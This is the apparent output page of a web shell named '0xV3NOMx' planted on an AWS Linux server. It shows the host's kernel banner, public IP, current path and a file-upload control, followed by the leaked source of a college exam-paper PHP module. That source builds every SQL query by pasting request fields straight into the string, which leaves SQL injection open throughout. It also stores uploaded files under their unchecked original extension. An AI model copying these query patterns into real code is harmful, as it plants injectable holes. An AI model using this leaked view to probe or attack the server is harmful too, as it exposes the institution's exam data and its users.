0xV3NOMx
Linux ip-172-26-7-228 5.4.0-1103-aws #111~18.04.1-Ubuntu SMP Tue May 23 20:04:10 UTC 2023 x86_64



Your IP : 3.133.155.48


Current Path : /var/www/html/collportal/custom_src/
Upload File :
Current File : //var/www/html/collportal/custom_src/prepareQpNew.php

<?php
    require_once("/var/www/html/aws/aws-autoloader.php");
    use Aws\S3\S3Client;
    use Aws\S3\Exception\S3Exception;

    function getTemplateDetails($aobj_context){
        $data = json_decode($aobj_context->mobj_data['data'], true);
        $teachcode = $aobj_context->mobj_data['teachcode'];
        $usertype = $aobj_context->mobj_data['usertype'];

        $qpcode = $data['qpcode'];
        $part = $data['part'];
        $set = $data['set'];
        $teachcode = $data['teachcode'];
        $year = $data['year'];
        $mode = $data['mode'];
        $tempcode = $data['tempcode'];
        $type = $data['type'];
        
        $query = "select ftempcode, fpartcode, ftempdesc, fmaxqn, fmandqn, fmaxmarks, ftempmax, ftotmandqn, fminqn from 
                  tdvs_qptemphead where ftempcode='{$tempcode}'";
        $res = $aobj_context->mobj_db->GetAll($query);

        if($type === "MCQ"){
            $qry = "update mcqqp set fmaxmarks='{$res[0]['fmaxmarks']}', 
                    fmaxqn='{$res[0]['fmaxqn']}', ftype='{$type}' where 
                    fyear='{$year}' and fexamtype='{$mode}' and fqpcode='{$qpcode}' and 
                    fteachcode='{$teachcode}' and fnoqp='{$set}'";
                    
            $result1 = $aobj_context->mobj_db->Execute($qry);

            if(!$result1){
                $arr['msg'] = 'Something went wrong! please try later';
                echo $aobj_context->mobj_output->ToJSONEnvelope($arr, -1, "failure"); 
                return;
            }
        }        
        
        $arr = [100, 200, 300, 400, 500, 600, 700, 800, 900];
        $z=0;
        $i=1;
        $order = 1;
        foreach ($res as $v) {
            $maxmarks = intval($v['fmaxmarks']) / intval($v['fmandqn']);
            
            for ($j=1; $j <= intval($v['fmaxqn']); $j++) { 
                $qnordstring = strval($order);
                if(strlen($qnordstring) == 1){
                    $cndno = '0'.$qnordstring;
                }else{
                    $cndno = $qnordstring;
                }
               
                $k = $arr[$z].$j;
                $query = "insert ignore into mcqqpsum(ftempcode, fqpcode, fpartcode, 
                        fpartdesc, fqncode, fqnno, fqnlevel, fqnparent, 
                        fmaxmarks, fsubqp, fsubmaxqn, fsubmandqn,
                        fqnord, fcreateduser, fcreateddate)
                        values
                        ('{$v['ftempcode']}', '{$qpcode}', '{$v['fpartcode']}', '{$v['ftempdesc']}', 
                        '{$k}', '{$j}', '0', '{$k}', '{$maxmarks}', 'F', '1', '1', '{$cndno}', '{$teachcode}', now())";

                $res = $aobj_context->mobj_db->Execute($query);
                $order++;
            }
            
            $i++;
            $z++;
        }

        $query = "select distinct fpartcode, fpartdesc from mcqqpsum 
                  where ftempcode='{$tempcode}' and fqpcode='{$qpcode}' group by fpartcode";
        $res = $aobj_context->mobj_db->GetAll($query);

        $data = [];

        if(strtolower($type) === 'mcq'){
            $cnd = "order by cast(fqnno as unsigned)";
        }else{
            $cnd = "order by LPAD(fqnno, 4, 0)";
        }
        
        foreach ($res as $key => $value) {
            $d = [];
            $query1 = "select fqncode, fqnno, fqnparent, fqnord, fmaxmarks from mcqqpsum
                      where ftempcode='{$tempcode}' and fqpcode='{$qpcode}'
                      and fpartcode='{$value['fpartcode']}' {$cnd}";
            $res1 = $aobj_context->mobj_db->GetAll($query1);

            foreach ($res1 as $val) {

                if($usertype === "M"){
                    $query2 = "select fqpno as fquestionno, fqncode, fmodquestion as fquestion, fmodkeyAns as fkeyAns, 
                                fmaxmarks, fco, fpo, fblooms, 
                                ftype, fmodopta as fopta, fmodoptb as foptb, fmodoptc as foptc, fmodoptd as foptd, 
                                ifnull(fmodqnfile, '')as fqnfile, 
                                ifnull(fmodoptafile, '')as foptafile, 
                                ifnull(fmodoptbfile, '')as foptbfile, 
                                ifnull(fmodoptcfile, '')as foptcfile, 
                                ifnull(fmodoptdfile, '')as foptdfile, 
                                ifnull(fmodkeyansfile, '')as fkeyansfile
                                from mcqqpdet where 
                                fqpcode='{$qpcode}' and fparent='{$val['fqncode']}'
                                and fnoqp='{$set}' and fteachcode='{$teachcode}'
                                and fyear='{$year}' and fexamtype='{$mode}'";
                }else if($usertype === "T"){
                    $query2 = "select fqpno as fquestionno, fqncode, fquestion, fkeyAns, 
                            fmaxmarks, fteachco as fco, fteachpo as fpo, fteachbloom as fblooms, 
                            ftype, fopta, foptb, foptc, foptd, 
                            ifnull(fqnfile, '')as fqnfile, 
                            ifnull(foptafile, '')as foptafile, 
                            ifnull(foptbfile, '')as foptbfile, 
                            ifnull(foptcfile, '')as foptcfile, 
                            ifnull(foptdfile, '')as foptdfile, 
                            ifnull(fkeyansfile, '')as fkeyansfile
                            from mcqqpdet where 
                            fqpcode='{$qpcode}' and fparent='{$val['fqncode']}'
                            and fnoqp='{$set}' and fteachcode='{$teachcode}'
                            and fyear='{$year}' and fexamtype='{$mode}'";
                }
                $res2 = $aobj_context->mobj_db->GetAll($query2);
                if(count($res2) > 0){
                    $val['fqnarr'] = $res2;
                }else{
                    $newarray = [];
                    $newArr['fqncode'] = $val['fqncode'].'1';
                    $newArr['fquestionno'] = "";
                    $newArr['fquestion'] = "";
                    $newArr['fkeyAns'] = "";
                    $newArr['fmaxmarks'] = "";
                    $newArr['fco'] = "";
                    $newArr['fpo'] = "";
                    $newArr['fblooms'] = "";
                    $newArr['ftype'] = "Descriptive";
                    $newArr['fopta']=""; 
                    $newArr['foptb']=""; 
                    $newArr['foptc']=""; 
                    $newArr['foptd']="";
                    $newArr['fqnfile']="";
                    $newArr['fkeyansfile']="";
                    $newArr['foptafile']="";
                    $newArr['foptbfile']="";
                    $newArr['foptcfile']="";
                    $newArr['foptdfile']="";
                    array_push($newarray, $newArr);
                    $val['fqnarr'] = $newarray;
                }
                array_push($d, $val);                
            }
            
            $arr['fpartcode'] = $value['fpartcode'];
            $arr['fpartdesc'] = $value['fpartdesc'];            
            $arr['fdata'] = $d;

            array_push($data, $arr);
        }

        if(count($data) > 0){
            echo $aobj_context->mobj_output->ToJSONEnvelope($data, 0, "succcess"); 
        }else{
            $arr['msg'] = 'No data found';
            echo $aobj_context->mobj_output->ToJSONEnvelope($arr, -1, "failure"); 
            return;
        }

    }

    function saveSubQnWiseQns($aobj_context){
        $data = json_decode($aobj_context->mobj_data["data"], true); 
        $params = json_decode($aobj_context->mobj_data["params"], true);
        $qncode = $aobj_context->mobj_data["qncode"];
        $usertype = $aobj_context->mobj_data["usertype"];
        
        $qpcode = $params['qpcode'];
        $year = $params['year'];
        $mode = $params['mode'];
        $teachcode = $params['teachcode'];
        $set = $params['set'];
        $tempcode = $params['tempcode'];
        $type = $params['type'];

        if($usertype === "M"){
            $query = "insert into mcqqpdet(fqpcode, fyear, fexamtype, fnoqp, fteachcode, 
                    fqncode, fparent, fqpno, fmaxmarks, ftype,
                    fmodquestion, fmodkeyans,  
                    fmodqnfile, fmodkeyansfile, 
                    fmodoptafile, fmodoptbfile, fmodoptcfile, fmodoptdfile, fco, fpo, fblooms,
                    fmodopta, fmodoptb, fmodoptc, fmodoptd) 
                    values('{$qpcode}', '{$year}', '{$mode}', 
                    '{$set}', '{$teachcode}', '{$data['fqncode']}', '{$qncode}', '{$data['fquestionno']}', 
                    '{$data['fmaxmarks']}',  '{$data['ftype']}',  
                    '{$data['fquestion']}', '{$data['fkeyAns']}', 
                    '{$data['fqnfile']}', '{$data['fkeyansfile']}', 
                    '{$data['foptafile']}', '{$data['foptbfile']}', '{$data['foptcfile']}', '{$data['foptdfile']}',
                    '{$data['fco']}', '{$data['fpo']}', '{$data['fblooms']}',
                    '{$data['fopta']}', '{$data['foptb']}', 
                    '{$data['foptc']}', '{$data['foptd']}')
                    on duplicate key update fqpno='{$data['fquestionno']}', fmaxmarks='{$data['fmaxmarks']}',
                    ftype='{$data['ftype']}', 
                    fmodquestion='{$data['fquestion']}', fmodkeyans='{$data['fkeyAns']}',
                    fmodqnfile='{$data['fqnfile']}', fmodkeyansfile='{$data['fkeyansfile']}', 
                    fmodoptafile='{$data['foptafile']}', fmodoptbfile='{$data['foptbfile']}', fmodoptcfile='{$data['foptcfile']}', 
                    fmodoptdfile='{$data['foptdfile']}', fco='{$data['fco']}', fpo='{$data['fpo']}', fblooms='{$data['fblooms']}',
                    fmodopta='{$data['fopta']}', fmodoptb='{$data['foptb']}', fmodoptc='{$data['foptc']}', fmodoptd='{$data['foptd']}'";
        }else if($usertype === "T"){
            $query = "insert into mcqqpdet(fqpcode, fyear, fexamtype, fnoqp, fteachcode, 
                  fqncode, fparent, fqpno, fmaxmarks, fquestion, fkeyans, ftype, fteachco, fteachpo, fteachbloom, 
                  fmodquestion, fmodkeyans, fopta, foptb, foptc, foptd, fqnfile, fkeyansfile, 
                  foptafile, foptbfile, foptcfile, foptdfile, fmodqnfile, fmodkeyansfile, 
                  fmodoptafile, fmodoptbfile, fmodoptcfile, fmodoptdfile, fco, fpo, fblooms,
                  fmodopta, fmodoptb, fmodoptc, fmodoptd) values('{$qpcode}', '{$year}', '{$mode}', 
                  '{$set}', '{$teachcode}', '{$data['fqncode']}', '{$qncode}', '{$data['fquestionno']}', 
                  '{$data['fmaxmarks']}', '{$data['fquestion']}', '{$data['fkeyAns']}', 
                  '{$data['ftype']}', '{$data['fco']}', '{$data['fpo']}', '{$data['fblooms']}', 
                  '{$data['fquestion']}', '{$data['fkeyAns']}', '{$data['fopta']}', '{$data['foptb']}', 
                  '{$data['foptc']}', '{$data['foptd']}', '{$data['fqnfile']}', '{$data['fkeyansfile']}', 
                  '{$data['foptafile']}', '{$data['foptbfile']}', '{$data['foptcfile']}', '{$data['foptdfile']}',
                  '{$data['fqnfile']}', '{$data['fkeyansfile']}', 
                  '{$data['foptafile']}', '{$data['foptbfile']}', '{$data['foptcfile']}', '{$data['foptdfile']}',
                  '{$data['fco']}', '{$data['fpo']}', '{$data['fblooms']}',
                  '{$data['fopta']}', '{$data['foptb']}', 
                  '{$data['foptc']}', '{$data['foptd']}')
                  on duplicate key update fqpno='{$data['fquestionno']}', fmaxmarks='{$data['fmaxmarks']}', fquestion='{$data['fquestion']}', 
                  fkeyans='{$data['fkeyAns']}', 
                  ftype='{$data['ftype']}', fteachco='{$data['fco']}', fteachpo='{$data['fpo']}', fteachbloom='{$data['fblooms']}', 
                  fmodquestion='{$data['fquestion']}', fmodkeyans='{$data['fkeyAns']}',
                  fopta='{$data['fopta']}', foptb='{$data['foptb']}', foptc='{$data['foptc']}', foptd='{$data['foptd']}',
                  fqnfile='{$data['fqnfile']}', fkeyansfile='{$data['fkeyansfile']}', 
                  foptafile='{$data['foptafile']}', foptbfile='{$data['foptbfile']}', foptcfile='{$data['foptcfile']}', 
                  foptdfile='{$data['foptdfile']}', fmodqnfile='{$data['fqnfile']}', fmodkeyansfile='{$data['fkeyansfile']}', 
                  fmodoptafile='{$data['foptafile']}', fmodoptbfile='{$data['foptbfile']}', fmodoptcfile='{$data['foptcfile']}', 
                  fmodoptdfile='{$data['foptdfile']}', fco='{$data['fco']}', fpo='{$data['fpo']}', fblooms='{$data['fblooms']}',
                  fmodopta='{$data['fopta']}', fmodoptb='{$data['foptb']}', fmodoptc='{$data['foptc']}', fmodoptd='{$data['foptd']}'";
        }    
        
        $res = $aobj_context->mobj_db->Execute($query);

        if($res){
            $arr['msg'] = 'saved successfully';
            echo $aobj_context->mobj_output->ToJSONEnvelope($arr, 0, "success");
            return;
        }else{
            $arr['msg'] = 'Failed to save';
            echo $aobj_context->mobj_output->ToJSONEnvelope($arr, -1, "failure");
            return;
        }
    }

    function uploadQnQpFiles($aobj_context){
        $aobj_context->mobj_db->SetFetchMode(ADODB_FETCH_ASSOC);
        $univcode = $aobj_context->mobj_data["univcode"];
        $qpcode = $aobj_context->mobj_data["qpcode"];
        $year = $aobj_context->mobj_data["year"];
        $mode = $aobj_context->mobj_data["mode"];
        $qnno = $aobj_context->mobj_data["qnno"];
        $field = $aobj_context->mobj_data["field"];
        $teachcode = $aobj_context->mobj_data["teachcode"];
        $noqp = $aobj_context->mobj_data["noqp"];
        $modetype = $aobj_context->mobj_data["modetype"];
        $userid = $aobj_context->mobj_data["userid"];

        $date = date('YmdHis');
        $cond = "";

        $filedata = $_FILES['file']['tmp_name'];
        $ext = pathinfo($_FILES['file']['name'], PATHINFO_EXTENSION);

        $filename = $date.'_'.$qpcode.'_'.$year.'_'.$mode.'_'.$noqp.'_'.$qnno.'.'.$ext;
        $key = $univcode. '/'. $qpcode. '/'. $year. '/'. $mode .'/'. $filename;

        $s3 = S3Client::factory(
            array(
                'credentials' => array(
                    'key' => IAM_KEY,
                    'secret' => IAM_SECRET
                ),
                'version' => "latest",
                'region'  => 'ap-south-1'
            ));

        try {
            $s3->putObject(['Bucket' => "omr-files", 'Key' => $key, 'SourceFile' => $filedata]);
            
            $arr['msg'] = $key;
            echo $aobj_context->mobj_output->TOJSONEnvelope($arr, 0, "success");
        }catch(S3Exception $e) {
            $arr['msg'] = 'failure';
            echo $aobj_context->mobj_output->ToJSONEnvelope($arr,-1,"failure"); 
            return;
        }
    }

    function deleteThQpFileDet($aobj_context){
        $univcode = $aobj_context->mobj_data["univcode"];
        $qpcode = $aobj_context->mobj_data["qpcode"];
        $year = $aobj_context->mobj_data["year"];
        $mode = $aobj_context->mobj_data["mode"];
        $teachcode = $aobj_context->mobj_data["teachcode"];
        $set = $aobj_context->mobj_data["set"];
        $qnno = $aobj_context->mobj_data["fqpno"];
        $path = $aobj_context->mobj_data["path"];
        $field = $aobj_context->mobj_data["field"];

        $s3 = S3Client::factory(
            array(
                'credentials' => array(
                    'key' => IAM_KEY,
                    'secret' => IAM_SECRET
                ),
                'version' => "latest",
                'region'  => 'ap-south-1'
            ));

        try {
            $result = $s3->deleteObject([
                'Bucket' => 'omr-files',
                'Key'    => $path,
            ]);
            
            $arr['msg'] = 'Deleted';
            echo $aobj_context->mobj_output->ToJSONEnvelope($arr, 0, "success"); 
            return;
        } catch (AwsException $e) {
            $arr['msg'] = 'failed to delete';
            echo $aobj_context->mobj_output->ToJSONEnvelope($arr,-1,"failure"); 
            return;
        }

    }

    function getViewPrepareQpDetails($aobj_context){
        $teachcode = $aobj_context->mobj_data["teachcode"];
        $usertype = $aobj_context->mobj_data["usertype"];

        if($usertype === "T"){
        $query = "select qp.fqpcode, concat(s.fsubname, ' - ', s.fsubshort) as fsubname, 
                  s.fvalmax, qp.fset, qp.fyear, qp.fexamtype, qp.fteachcode, 
                  ifnull(qp.fstatus, '') as fstatus,
                  qp.ftype, qp.fpretype, qp.fmaxmarks, count(distinct h.fqncode) as totcnt, ifnull(fteachstatus, 'F')as fteachstatus,
                  count(distinct m.fparent) as qpcnt, qp.ftempcode
                  from qpseterdet qp inner join (select distinct fsubname, fsubshort, fqpcode, fvalmax 
                  from subject
                  where ifnull(fqpcode,'') <> ''
                  group by fqpcode) s on qp.fqpcode = s.fqpcode
                  left join mcqqpsum h on qp.ftempcode = h.ftempcode 
                  left join mcqqpdet m on qp.fqpcode = m.fqpcode and qp.fteachcode = m.fteachcode
                  and qp.fyear = m.fyear and qp.fexamtype = m.fexamtype
                  and m.fnoqp = qp.fset and h.fqncode = m.fparent
                  
                  and ifnull(m.fquestion,'') <> ''
                  where qp.fteachcode = '{$teachcode}' 
                  and ifnull(qp.fstatus, '') = 'ACCEPTED'
                  and ifnull(h.fsubqp,'F') = 'F'
                  group by qp.fyear, qp.fexamtype, fqpcode,fset ,fteachcode, qp.ftype";
        }else{
            $query = "select q.fqpcode, concat(s.fsubname, ' - ', s.fsubshort)as fsubname,
                    q.fset, q.fteachcode, s.fqpsyllabus,q.fpretype, ifnull(mc.fmodstatus, 'F')as fteachstatus,
                    q.fexamtype,q.fyear,ifnull(mc.fmoddate,'') as fmodqpdate,
                    count(distinct h.fqncode) as totcnt,
                    count(distinct mc.fparent) as qpcnt, q.ftempcode,ifnull(q.ftype,'')as ftype,mc.fnoqp,
                    ifnull(q.fteachcode,'')as fteachcode,ifnull(mc.fmodstatus,'')as fmodstatus, 
                    ifnull(q.fmodremarks, '')as fmodremarks
                    from qpseterdet q inner join 
                    (select distinct fqpcode, fsubname, fqpsyllabus, fsubshort 
                    from subject where ifnull(fqpcode, '') <> '') s on 
                    s.fqpcode = q.fqpcode inner join moderator m on m.fqpcode = q.fqpcode 
                    inner join mcqqpsum h on q.ftempcode = h.ftempcode 
                    left join mcqqpdet mc on q.fqpcode = mc.fqpcode and q.fteachcode = mc.fteachcode
                    and q.fyear = mc.fyear and q.fexamtype = mc.fexamtype
                    and mc.fnoqp = q.fset and h.fqncode = mc.fparent
                    and ifnull(mc.fquestion,'') <> ''
                    where m.fteachcode = '{$teachcode}' 
                    and m.flogin = 'T' 
                    group by q.fteachcode,q.fqpcode, q.fset, q.fyear, q.fexamtype        
                    order by q.fqpcode, q.fset;";
        }
        $res = $aobj_context->mobj_db->GetAll($query);

        if($res){
            echo $aobj_context->mobj_output->ToJSONEnvelope($res, 0, "success"); 
            return;
        }else{
            $arr['msg'] = 'No data found';
            echo $aobj_context->mobj_output->ToJSONEnvelope($arr, -1, "failure"); 
            return;
        }
    }
?>